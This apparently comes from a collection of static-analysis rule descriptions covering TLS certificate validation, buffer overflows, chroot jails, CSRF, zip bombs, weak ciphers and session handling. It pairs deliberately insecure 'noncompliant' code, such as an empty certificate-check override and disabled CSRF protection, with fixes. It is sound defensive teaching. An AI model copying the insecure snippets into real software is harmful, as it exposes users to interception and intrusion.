This vulnerability makes it possible that an encrypted communication is intercepted.

Why is this an issue?

Transport Layer Security (TLS) provides secure communication between systems over the internet by encrypting the data sent between them. The role of certificate validation in this process is to ensure that a system is indeed the one it claims to be, adding an extra layer of trust and security.

When certificate validation is disabled, the client skips this critical check. This creates an opportunity for attackers to pose as a trusted entity and intercept, manipulate, or steal the data being transmitted.

What is the potential impact?

Establishing trust in a secure way is a non-trivial task. When you disable certificate validation, you are removing a key mechanism designed to build this trust in internet communication, opening your system up to a number of potential threats.

Identity spoofing

If a system does not validate certificates, it cannot confirm the identity of the other party involved in the communication. An attacker can exploit this by creating a fake server and masquerading it as a legitimate one. For example, they might set up a server that looks like your bank’s server, tricking your system into thinking it is communicating with the bank. This scenario, called identity spoofing, allows the attacker to collect any data your system sends to them, potentially leading to significant data breaches.

Loss of data integrity

When TLS certificate validation is disabled, the integrity of the data you send and receive cannot be guaranteed. An attacker could modify the data in transit, and you would have no way of knowing. This could range from subtle manipulations of the data you receive to the injection of malicious code or malware into your system. The consequences of such breaches of data integrity can be severe, depending on the nature of the data and the system.

How to fix it in Botan

Code examples

The following code contains examples of disabled certificate validation.

The certificate validation gets disabled by overriding tls_verify_cert_chain with an empty implementation. It is highly recommended to use the original implementation.

Noncompliant code example

#include <botan/tls_client.h>
#include <botan/tls_callbacks.h>
#include <botan/tls_session_manager.h>
#include <botan/tls_policy.h>
#include <botan/auto_rng.h>
#include <botan/certstor.h>
#include <botan/certstor_system.h>

class Callbacks : public Botan::TLS::Callbacks
{
    virtual void tls_verify_cert_chain(
              const std::vector<Botan::X509_Certificate> &cert_chain,
              const std::vector<std::shared_ptr<const Botan::OCSP::Response>> &ocsp_responses,
              const std::vector<Botan::Certificate_Store *> &trusted_roots,
              Botan::Usage_Type usage,
              const std::string &hostname,
              const Botan::TLS::Policy &policy)
    override  { }
};

class Client_Credentials : public Botan::Credentials_Manager { };

void connect() {
    Callbacks callbacks;
    Botan::AutoSeeded_RNG rng;
    Botan::TLS::Session_Manager_In_Memory session_mgr(rng);
    Client_Credentials creds;
    Botan::TLS::Strict_Policy policy;

    Botan::TLS::Client client(callbacks, session_mgr, creds, policy, rng,
                              Botan::TLS::Server_Information("example.com", 443),
                              Botan::TLS::Protocol_Version::TLS_V12); // Noncompliant
}

Compliant solution

#include <botan/tls_client.h>
#include <botan/tls_callbacks.h>
#include <botan/tls_session_manager.h>
#include <botan/tls_policy.h>
#include <botan/auto_rng.h>
#include <botan/certstor.h>
#include <botan/certstor_system.h>

class Callbacks : public Botan::TLS::Callbacks { };

class Client_Credentials : public Botan::Credentials_Manager { };

void connect() {
    Callbacks callbacks;
    Botan::AutoSeeded_RNG rng;
    Botan::TLS::Session_Manager_In_Memory session_mgr(rng);
    Client_Credentials creds;
    Botan::TLS::Strict_Policy policy;

    Botan::TLS::Client client(callbacks, session_mgr, creds, policy, rng,
                              Botan::TLS::Server_Information("example.com", 443),
                              Botan::TLS::Protocol_Version::TLS_V12);
}

How does this work?

Addressing the vulnerability of disabled TLS certificate validation primarily involves re-enabling the default validation.

To avoid running into problems with invalid certificates, consider the following sections.

Using trusted certificates

If possible, always use a certificate issued by a well-known, trusted CA for your server. Most programming environments come with a predefined list of trusted root CAs, and certificates issued by these authorities are validated automatically. This is the best practice, and it requires no additional code or configuration.

Working with self-signed certificates or non-standard CAs

In some cases, you might need to work with a server using a self-signed certificate, or a certificate issued by a CA not included in your trusted roots. Rather than disabling certificate validation in your code, you can add the necessary certificates to your trust store.

Resources

Documentation

• Botan - Handbook
• OpenSSL - Cookbook

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• OWASP Mobile Top 10 2016 Category M3 - Insecure Communication
• Mobile AppSec Verification Standard - Network Communication Requirements
• MITRE, CWE-295 - Improper Certificate Validation

In C, a string is just a buffer of characters, normally using the null character as a sentinel for the end of the string. This means that the developer has to be aware of low-level details such as buffer sizes or having an extra character to store the final null character. Doing that correctly and consistently is notoriously difficult and any error can lead to a security vulnerability, for instance, giving access to sensitive data or allowing arbitrary code execution.

The function char *strcpy(char * restrict dest, const char * restrict src); copies characters from src to dest. The wcscpy does the same for wide characters and should be used with the same guidelines.

Note: the functions strncpy and wcsncpy might look like attractive safe replacements for strcpy and wcscpy, but they have their own set of issues (see S5816), and you should probably prefer another more adapted alternative.

Ask Yourself Whether

• There is a possibility that either the source or the destination pointer is null
• There is a possibility that the source string is not correctly null-terminated, or that its length (including the final null character) can be larger than the size of the destination buffer.
• There is an overlap between source and destination

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• C11 provides, in its annex K, the strcpy_s and the wcscpy_s that were designed as safer alternatives to strcpy and wcscpy. It’s not recommended to use them in all circumstances, because they introduce a runtime overhead and require to write more code for error handling, but they perform checks that will limit the consequences of calling the function with bad arguments.
• Even if your compiler does not exactly support annex K, you probably have access to similar functions, for example, strlcpy in FreeBSD
• If you are writing C++ code, using std::string to manipulate strings is much simpler and less error-prone

Sensitive Code Example

int f(char *src) {
  char dest[256];
  strcpy(dest, src); // Sensitive: might overflow
  return doSomethingWith(dest);
}

Compliant Solution

int f(char *src) {
  char *dest = malloc(strlen(src) + 1); // For the final 0
  strcpy(dest, src); // Compliant: we made sure the buffer is large enough
  int r= doSomethingWith(dest);
  free(dest);
  return r;
}

See

• OWASP Top 10 2021 Category A6 - Vulnerable and Outdated Components
• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
• CERT, STR07-C. - Use the bounds-checking interfaces for string manipulation

The purpose of creating a jail, the "virtual root directory" created with chroot-type functions, is to limit access to the file system by isolating the process inside this jail. However, many chroot function implementations don’t modify the current working directory, thus the process has still access to unauthorized resources outside of the "jail".

Ask Yourself Whether

• The application changes the working directory before or after running chroot.
• The application uses a path inside the jail directory as working directory.

There is a risk if you answered no to any of those questions.

Recommended Secure Coding Practices

Change the current working directory to the root directory after switching to a jail directory.

Sensitive Code Example

The current directory is not changed with the chdir function before or after the creation of a jail with the chroot function:

const char* root_dir = "/jail/";
chroot(root_dir); // Sensitive: no chdir before or after chroot, and missing check of return value

The chroot or chdir operations could fail and the process still have access to unauthorized resources. The return code should be checked:

const char* root_dir = "/jail/";
chroot(root_dir); // Sensitive: missing check of the return value
const char* any_dir = "/any/";
chdir(any_dir); // Sensitive: missing check of the return value

Compliant Solution

To correctly isolate the application into a jail, change the current directory with chdir before the chroot and check the return code of both functions:

const char* root_dir = "/jail/";

if (chdir(root_dir) == -1) {
  exit(-1);
}

if (chroot(root_dir) == -1) {  // compliant: the current dir is changed to the jail and the results of both functions are checked
  exit(-1);
}

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-243 - Creation of chroot Jail Without Changing Working Directory
• man7.org - chdir
• man7.org - chroot

Why is this an issue?

When relying on the password authentication mode for the database connection, a secure password should be chosen.

This rule raises an issue when an empty password is used.

Noncompliant code example

// example of an empty password when connecting to a mysql database
$conn = new mysqli($servername, $username, "");

Compliant solution

// generate a secure password, set it to the username database, and store it in a environment variable for instance
$password = getenv('MYSQL_SECURE_PASSWORD');
// then connect to the database
$conn = new mysqli($servername, $username, $password);

Resources

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-521 - Weak Password Requirements

A cross-site request forgery (CSRF) attack occurs when a trusted user of a web application can be forced, by an attacker, to perform sensitive actions that he didn’t intend, such as updating his profile or sending a message, more generally anything that can change the state of the application.

The attacker can trick the user/victim to click on a link, corresponding to the privileged action, or to visit a malicious web site that embeds a hidden web request and as web browsers automatically include cookies, the actions can be authenticated and sensitive.

Ask Yourself Whether

• The web application uses cookies to authenticate users.
• There exist sensitive operations in the web application that can be performed when the user is authenticated.
• The state / resources of the web application can be modified by doing HTTP POST or HTTP DELETE requests for example.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Protection against CSRF attacks is strongly recommended:
  • to be activated by default for all unsafe HTTP methods.
  • implemented, for example, with an unguessable CSRF token
• Of course all sensitive operations should not be performed with safe HTTP methods like GET which are designed to be used only for information retrieval.

Sensitive Code Example

For Laravel VerifyCsrfToken middleware

use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware;

class VerifyCsrfToken extends Middleware
{
    protected $except = [
        'api/*'
    ]; // Sensitive; disable CSRF protection for a list of routes
}

For Symfony Forms

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;

class Controller extends AbstractController {

  public function action() {
    $this->createForm('', null, [
      'csrf_protection' => false, // Sensitive; disable CSRF protection for a single form
    ]);
  }
}

Compliant Solution

For Laravel VerifyCsrfToken middleware

use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware;

class VerifyCsrfToken extends Middleware
{
    protected $except = []; // Compliant
}

Remember to add @csrf blade directive to the relevant forms when removing an element from $except. Otherwise the form submission will stop working.

For Symfony Forms

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;

class Controller extends AbstractController {

  public function action() {
    $this->createForm('', null, []); // Compliant; CSRF protection is enabled by default
  }
}

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• MITRE, CWE-352 - Cross-Site Request Forgery (CSRF)
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• OWASP: Cross-Site Request Forgery
• SANS Top 25 - Insecure Interaction Between Components

This rule is deprecated, and will eventually be removed.

Deserializing objects is security-sensitive. For example, it has led in the past to the following vulnerabilities:

• CVE-2017-17672: vBulletin: Unserialize PHP Code Execution
• CVE-2018-1000167: Jenkins Pipeline: arbitrary code execution vulnerability

Object deserialization from an untrusted source can lead to unexpected code execution. Deserialization takes a stream of bits and turns it into an object. If the stream contains the type of object you expect, all is well. But if you’re deserializing data coming from untrusted input, and an attacker has inserted some other type of object, you’re in trouble. Why? A known attack scenario involves the creation of a serialized PHP object with crafted attributes which will modify your application’s behavior. This attack relies on PHP magic methods like __desctruct, __wakeup or __string. The attacker doesn’t necessarily need the source code of the targeted application to exploit the vulnerability, he can also rely on the presence of open-source component and use tools to craft malicious payloads.

Ask Yourself Whether

• an attacker could have tampered with the source provided to the deserialization function
• you are using an unsafe deserialization function

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

To prevent insecure deserialization, it is recommended to:

• Use safe libraries that do not allow code execution at deserialization.
• Not communicate with the outside world using serialized objects
• Limit access to the serialized source
  • if it is a file, restrict the access to it.
  • if it comes from the network, restrict who has access to the process, such as with a Firewall or by authenticating the sender first.

See

• OWASP - Deserialization of untrusted data
• OWASP Top 10 2017 Category A8 - Insecure Deserialization
• MITRE, CWE-502 - Deserialization of Untrusted Data
• Derived from FindSecBugs rule OBJECT_DESERIALIZATION

Development tools and frameworks usually have options to make debugging easier for developers. Although these features are useful during development, they should never be enabled for applications deployed in production. Debug instructions or error messages can leak detailed information about the system, like the application’s path or file names.

Ask Yourself Whether

• The code or configuration enabling the application debug features is deployed on production servers or distributed to end users.
• The application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debugging features on production servers or applications distributed to end users.

Sensitive Code Example

CakePHP 1.x, 2.x:

Configure::write('debug', 1); // Sensitive: development mode
or
Configure::write('debug', 2); // Sensitive: development mode
or
Configure::write('debug', 3); // Sensitive: development mode

CakePHP 3.0:

use Cake\Core\Configure;

Configure::config('debug', true); // Sensitive: development mode

WordPress:

define( 'WP_DEBUG', true ); // Sensitive: development mode

Compliant Solution

CakePHP 1.2:

Configure::write('debug', 0); // Compliant; this is the production mode

CakePHP 3.0:

use Cake\Core\Configure;

Configure::config('debug', false); // Compliant:  "0" or "false" for CakePHP 3.x is suitable (production mode) to not leak sensitive data on the logs.

WordPress:

define( 'WP_DEBUG', false ); // Compliant

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-489 - Active Debug Code
• MITRE, CWE-215 - Information Exposure Through Debug Information

Successful Zip Bomb attacks occur when an application expands untrusted archive files without controlling the size of the expanded data, which can lead to denial of service. A Zip bomb is usually a malicious archive file of a few kilobytes of compressed data but turned into gigabytes of uncompressed data. To achieve this extreme compression ratio, attackers will compress irrelevant data (eg: a long string of repeated bytes).

Ask Yourself Whether

Archives to expand are untrusted and:

• There is no validation of the number of entries in the archive.
• There is no validation of the total size of the uncompressed data.
• There is no validation of the ratio between the compressed and uncompressed archive entry.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Define and control the ratio between compressed and uncompressed data, in general the data compression ratio for most of the legit archives is 1 to 3.
• Define and control the threshold for maximum total size of the uncompressed data.
• Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold, in particular it’s not recommended to recursively expand archives (an entry of an archive could be also an archive).

Sensitive Code Example

For ZipArchive module:

$zip = new ZipArchive();
if ($zip->open($file) === true) {
    $zip->extractTo('.'); // Sensitive
    $zip->close();
}

For Zip module:

$zip = zip_open($file);
while ($file = zip_read($zip)) {
    $filename = zip_entry_name($file);
    $size = zip_entry_filesize($file);

    if (substr($filename, -1) !== '/') {
        $content = zip_entry_read($file, zip_entry_filesize($file)); // Sensitive - zip_entry_read() uses zip_entry_filesize()
        file_put_contents($filename, $content);
    } else {
        mkdir($filename);
    }
}
zip_close($zip);

Compliant Solution

For ZipArchive module:

define('MAX_FILES', 10000);
define('MAX_SIZE', 1000000000); // 1 GB
define('MAX_RATIO', 10);
define('READ_LENGTH', 1024);

$fileCount = 0;
$totalSize = 0;

$zip = new ZipArchive();
if ($zip->open($file) === true) {
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $stats = $zip->statIndex($i);

        if (strpos($filename, '../') !== false || substr($filename, 0, 1) === '/') {
            throw new Exception();
        }

        if (substr($filename, -1) !== '/') {
            $fileCount++;
            if ($fileCount > MAX_FILES) {
                // Reached max. number of files
                throw new Exception();
            }

            $fp = $zip->getStream($filename); // Compliant
            $currentSize = 0;
            while (!feof($fp)) {
                $currentSize += READ_LENGTH;
                $totalSize += READ_LENGTH;

                if ($totalSize > MAX_SIZE) {
                    // Reached max. size
                    throw new Exception();
                }

                // Additional protection: check compression ratio
                if ($stats['comp_size'] > 0) {
                    $ratio = $currentSize / $stats['comp_size'];
                    if ($ratio > MAX_RATIO) {
                        // Reached max. compression ratio
                        throw new Exception();
                    }
                }

                file_put_contents($filename, fread($fp, READ_LENGTH), FILE_APPEND);
            }

            fclose($fp);
        } else {
            mkdir($filename);
        }
    }
    $zip->close();
}

For Zip module:

define('MAX_FILES', 10000);
define('MAX_SIZE', 1000000000); // 1 GB
define('MAX_RATIO', 10);
define('READ_LENGTH', 1024);

$fileCount = 0;
$totalSize = 0;

$zip = zip_open($file);
while ($file = zip_read($zip)) {
    $filename = zip_entry_name($file);

    if (strpos($filename, '../') !== false || substr($filename, 0, 1) === '/') {
        throw new Exception();
    }

    if (substr($filename, -1) !== '/') {
        $fileCount++;
        if ($fileCount > MAX_FILES) {
            // Reached max. number of files
            throw new Exception();
        }

        $currentSize = 0;
        while ($data = zip_entry_read($file, READ_LENGTH)) { // Compliant
            $currentSize += READ_LENGTH;
            $totalSize += READ_LENGTH;

            if ($totalSize > MAX_SIZE) {
                // Reached max. size
                throw new Exception();
            }

            // Additional protection: check compression ratio
            if (zip_entry_compressedsize($file) > 0) {
                $ratio = $currentSize / zip_entry_compressedsize($file);
                if ($ratio > MAX_RATIO) {
                    // Reached max. compression ratio
                    throw new Exception();
                }
            }

            file_put_contents($filename, $data, FILE_APPEND);
        }
    } else {
        mkdir($filename);
    }
}
zip_close($zip);

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
• bamsoftware.com - A better Zip Bomb

This rule is deprecated; use S5547 instead.

Why is this an issue?

According to the US National Institute of Standards and Technology (NIST), the Data Encryption Standard (DES) is no longer considered secure:

Adopted in 1977 for federal agencies to use in protecting sensitive, unclassified information, the DES is being withdrawn because it no longer provides the security that is needed to protect federal government information.

Federal agencies are encouraged to use the Advanced Encryption Standard, a faster and stronger algorithm approved as FIPS 197 in 2001.

For similar reasons, RC2 should also be avoided.

Noncompliant code example

<?php
  $ciphertext = mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, $mode); // Noncompliant
  // ...
  $ciphertext = mcrypt_encrypt(MCRYPT_DES_COMPAT, $key, $plaintext, $mode); // Noncompliant
  // ...
  $ciphertext = mcrypt_encrypt(MCRYPT_TRIPLEDES, $key, $plaintext, $mode); // Noncompliant
  // ...
  $ciphertext = mcrypt_encrypt(MCRYPT_3DES, $key, $plaintext, $mode); // Noncompliant

  $cipher = "des-ede3-cfb";  // Noncompliant
  $ciphertext_raw = openssl_encrypt($plaintext, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
?>

Compliant solution

<?php
  $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $plaintext, MCRYPT_MODE_CBC, $iv);
?>

Resources

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-326 - Inadequate Encryption Strength
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses
• Derived from FindSecBugs rule DES / DESede Unsafe

This vulnerability makes it possible that the cleartext of the encrypted message might be recoverable without prior knowledge of the key.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communication in various domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection.
• Security during transmission or on storage devices.
• Data integrity, general trust, and authentication.

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

For these reasons, as soon as cryptography is included in a project, it is important to choose encryption algorithms that are considered strong and secure by the cryptography community.

What is the potential impact?

The cleartext of an encrypted message might be recoverable. Additionally, it might be possible to modify the cleartext of an encrypted message.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Theft of sensitive data

The encrypted message might contain data that is considered sensitive and should not be known to third parties.

By using a weak algorithm the likelihood that an attacker might be able to recover the cleartext drastically increases.

Additional attack surface

By modifying the cleartext of the encrypted message it might be possible for an attacker to trigger other vulnerabilities in the code. Encrypted values are often considered trusted, since under normal circumstances it would not be possible for a third party to modify them.

How to fix it in Mcrypt

Code examples

The following code contains examples of algorithms that are not considered highly resistant to cryptanalysis and thus should be avoided.

Noncompliant code example

mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, $mode); // Noncompliant

Compliant solution

Mcrypt is deprecated and should not be used. You can use Sodium instead.

sodium_crypto_aead_aes256gcm_encrypt($plaintext, '', $nonce, $key);

How does this work?

Use a secure algorithm

It is highly recommended to use an algorithm that is currently considered secure by the cryptographic community. A common choice for such an algorithm is the Advanced Encryption Standard (AES).

For block ciphers, it is not recommended to use algorithms with a block size that is smaller than 128 bits.

Resources

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses

This vulnerability exposes encrypted data to a number of attacks whose goal is to recover the plaintext.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communications in a variety of domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection
• Security during transmission or on storage devices
• Data integrity, general trust, and authentication

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

For these reasons, as soon as cryptography is included in a project, it is important to choose encryption algorithms that are considered strong and secure by the cryptography community.

For AES, the weakest modes are CBC (Cipher Block Chaining) and ECB

(Electronic Codebook), as they are either vulnerable to padding oracles or do not provide authentication mechanisms.

And for RSA, the weakest algorithms are either using it without padding or using the PKCS1v1.5 padding scheme.

What is the potential impact?

The cleartext of an encrypted message might be recoverable. Additionally, it might be possible to modify the cleartext of an encrypted message.

Below are some real-world scenarios that illustrate possible impacts of an attacker exploiting the vulnerability.

Theft of sensitive data

The encrypted message might contain data that is considered sensitive and should not be known to third parties.

By using a weak algorithm the likelihood that an attacker might be able to recover the cleartext drastically increases.

Additional attack surface

By modifying the cleartext of the encrypted message it might be possible for an attacker to trigger other vulnerabilities in the code. Encrypted values are often considered trusted, since under normal circumstances it would not be possible for a third party to modify them.

How to fix it in Mcrypt

Code examples

Noncompliant code example

Example with a symmetric cipher, AES:

mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, "ecb"); // Noncompliant

Compliant solution

Mcrypt is deprecated and should not be used. You can use Sodium instead.

For the AES symmetric cipher, use the GCM mode:

sodium_crypto_aead_aes256gcm_encrypt($plaintext, '', $nonce, $key);

How does this work?

As a rule of thumb, use the cryptographic algorithms and mechanisms that are considered strong by the cryptographic community.

Appropriate choices are currently the following.

For AES: Use Galois/Counter mode (GCM)

GCM mode combines encryption with authentication and integrity checks using a cryptographic hash function and provides both confidentiality and authenticity of data.

Other similar modes are:

• CCM: Counter with CBC-MAC
• CWC: Cipher Block Chaining with Message Authentication Code
• EAX: Encrypt-and-Authenticate
• IAPM: Integer Authenticated Parallelizable Mode
• OCB: Offset Codebook Mode

It is also possible to use AES-CBC with HMAC for integrity checks. However, it

is considered more straightforward to use AES-GCM directly instead.

For RSA: use the OAEP scheme

The Optimal Asymmetric Encryption Padding scheme (OAEP) adds randomness and a secure hash function that strengthens the regular inner workings of RSA.

Resources

Articles & blog posts

• Microsoft, Timing vulnerabilities with CBC-mode symmetric decryption using padding
• Wikipedia, Padding Oracle Attack
• Wikipedia, Chosen-Ciphertext Attack
• Wikipedia, Chosen-Plaintext Attack
• Wikipedia, Semantically Secure Cryptosystems
• Wikipedia, OAEP
• Wikipedia, Galois/Counter Mode

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses

This rule is deprecated; use S5542 instead.

Why is this an issue?

Without OAEP in RSA encryption, it takes less work for an attacker to decrypt the data or infer patterns from the ciphertext. This rule logs an issue when openssl_public_encrypt is used with one the following padding constants: OPENSSL_NO_PADDING or OPENSSL_PKCS1_PADDING or OPENSSL_SSLV23_PADDING.

Noncompliant code example

function encrypt($data, $key) {
  $crypted='';
  openssl_public_encrypt($data, $crypted, $key, OPENSSL_NO_PADDING); // Noncompliant
  return $crypted;
}

Compliant solution

function encrypt($data, $key) {
  $crypted='';
  openssl_public_encrypt($data, $crypted, $key, OPENSSL_PKCS1_OAEP_PADDING);
  return $crypted;
}

Resources

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-780 - Use of RSA Algorithm without OAEP
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses
• Derived from FindSecBugs rule RSA NoPadding Unsafe

Why is this an issue?

Session fixation attacks occur when an attacker can force a legitimate user to use a session ID that he knows. To avoid fixation attacks, it’s a good practice to generate a new session each time a user authenticates and delete/invalidate the existing session (the one possibly known by the attacker).

Noncompliant code example

In a Symfony Security's context, session fixation protection can be disabled with the value none for the session_fixation_strategy attribute:

namespace Symfony\Component\DependencyInjection\Loader\Configurator;

return static function (ContainerConfigurator $container) {
    $container->extension('security', [
        'session_fixation_strategy' => 'none', // Noncompliant
    ]);
};

Compliant solution

In a Symfony Security's context, session fixation protection is enabled by default. It can be explicitly enabled with the values migrate and invalidate for the session_fixation_strategy attribute:

namespace Symfony\Component\DependencyInjection\Loader\Configurator;

return static function (ContainerConfigurator $container) {
    $container->extension('security', [
        'session_fixation_strategy' => 'migrate', // Compliant
    ]);
};

Resources

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• OWASP Sesssion Fixation
• MITRE, CWE-384 - Session Fixation

Why is this an issue?

PHP’s session.use_trans_sid automatically appends the user’s session id to urls when cookies are disabled. On the face of it, this seems like a nice way to let uncookie-able users use your site anyway. In reality, it makes those users vulnerable to having their sessions hijacked by anyone who might:

• see the URL over the user’s shoulder
• be sent the URL by the user
• retrieve the URL from browser history
• …​

For that reason, it’s better to practice a little "tough love" with your users and force them to turn on cookies.

Since session.use_trans_sid is off by default, this rule raises an issue when it is explicitly enabled.

Noncompliant code example

; php.ini
session.use_trans_sid=1  ; Noncompliant

Resources

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A6 - Security Misconfiguration

This rule is deprecated; use S4426, S5542, S5547 instead.

Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2017-7902
• CVE-2006-1378
• CVE-2003-1376

Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.

This rule flags function calls that initiate encryption/decryption.

Ask Yourself Whether

• the private key might not be random, strong enough or the same key is reused for a long long time.
• the private key might be compromised. It can happen when it is stored in an unsafe place or when it was transferred in an unsafe manner.
• the key exchange is made without properly authenticating the receiver.
• the encryption algorithm is not strong enough for the level of protection required. Note that encryption algorithms strength decreases as time passes.
• the chosen encryption library is deemed unsafe.
• a nonce is used, and the same value is reused multiple times, or the nonce is not random.
• the RSA algorithm is used, and it does not incorporate an Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
• the CBC (Cypher Block Chaining) algorithm is used for encryption, and it’s IV (Initialization Vector) is not generated using a secure random algorithm, or it is reused.
• the Advanced Encryption Standard (AES) encryption algorithm is used with an unsecure mode. See the recommended practices for more information.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Generate encryption keys using secure random algorithms.
• When generating cryptographic keys (or key pairs), it is important to use a key length that provides enough entropy against brute-force attacks. For the Blowfish algorithm the key should be at least 128 bits long, while for the RSA algorithm it should be at least 2048 bits long.
• Regenerate the keys regularly.
• Always store the keys in a safe location and transfer them only over safe channels.
• If there is an exchange of cryptographic keys, check first the identity of the receiver.
• Only use strong encryption algorithms. Check regularly that the algorithm is still deemed secure. It is also imperative that they are implemented correctly. Use only encryption libraries which are deemed secure. Do not define your own encryption algorithms as they will most probably have flaws.
• When a nonce is used, generate it randomly every time.
• When using the RSA algorithm, incorporate an Optimal Asymmetric Encryption Padding (OAEP).
• When CBC is used for encryption, the IV must be random and unpredictable. Otherwise it exposes the encrypted value to crypto-analysis attacks like "Chosen-Plaintext Attacks". Thus a secure random algorithm should be used. An IV value should be associated to one and only one encryption cycle, because the IV’s purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.
• The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Galois/Counter Mode (GCM) with no padding should be preferred to the following combinations which are not secured:
  • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn’t provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
  • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

Sensitive Code Example

Builtin functions

function myEncrypt($cipher, $key, $data, $mode, $iv, $options, $padding, $infile, $outfile, $recipcerts, $headers, $nonce, $ad, $pub_key_ids, $env_keys)
{
    mcrypt_ecb ($cipher, $key, $data, $mode); // Sensitive
    mcrypt_cfb($cipher, $key, $data, $mode, $iv); // Sensitive
    mcrypt_cbc($cipher, $key, $data, $mode, $iv); // Sensitive
    mcrypt_encrypt($cipher, $key, $data, $mode); // Sensitive

    openssl_encrypt($data, $cipher, $key, $options, $iv); // Sensitive
    openssl_public_encrypt($data, $crypted, $key, $padding); // Sensitive
    openssl_pkcs7_encrypt($infile, $outfile, $recipcerts, $headers); // Sensitive
    openssl_seal($data, $sealed_data, $env_keys, $pub_key_ids); // Sensitive

    sodium_crypto_aead_aes256gcm_encrypt ($data, $ad, $nonce, $key); // Sensitive
    sodium_crypto_aead_chacha20poly1305_encrypt ($data, $ad, $nonce, $key); // Sensitive
    sodium_crypto_aead_chacha20poly1305_ietf_encrypt ($data, $ad, $nonce, $key); // Sensitive
    sodium_crypto_aead_xchacha20poly1305_ietf_encrypt ($data, $ad, $nonce, $key); // Sensitive
    sodium_crypto_box_seal ($data, $key); // Sensitive
    sodium_crypto_box ($data, $nonce, $key); // Sensitive
    sodium_crypto_secretbox ($data, $nonce, $key); // Sensitive
    sodium_crypto_stream_xor ($data, $nonce, $key); // Sensitive
}

CakePHP

use Cake\Utility\Security;

function myCakeEncrypt($key, $data, $engine)
{
    Security::encrypt($data, $key); // Sensitive

    // Do not use custom made engines and remember that Mcrypt is deprecated.
    Security::engine($engine); // Sensitive. Setting the encryption engine.
}

CodeIgniter

class EncryptionController extends CI_Controller
{
    public function __construct()
    {
        parent::__construct();
        $this->load->library('encryption');
    }

    public function index()
    {
        $this->encryption->create_key(16); // Sensitive. Review the key length.
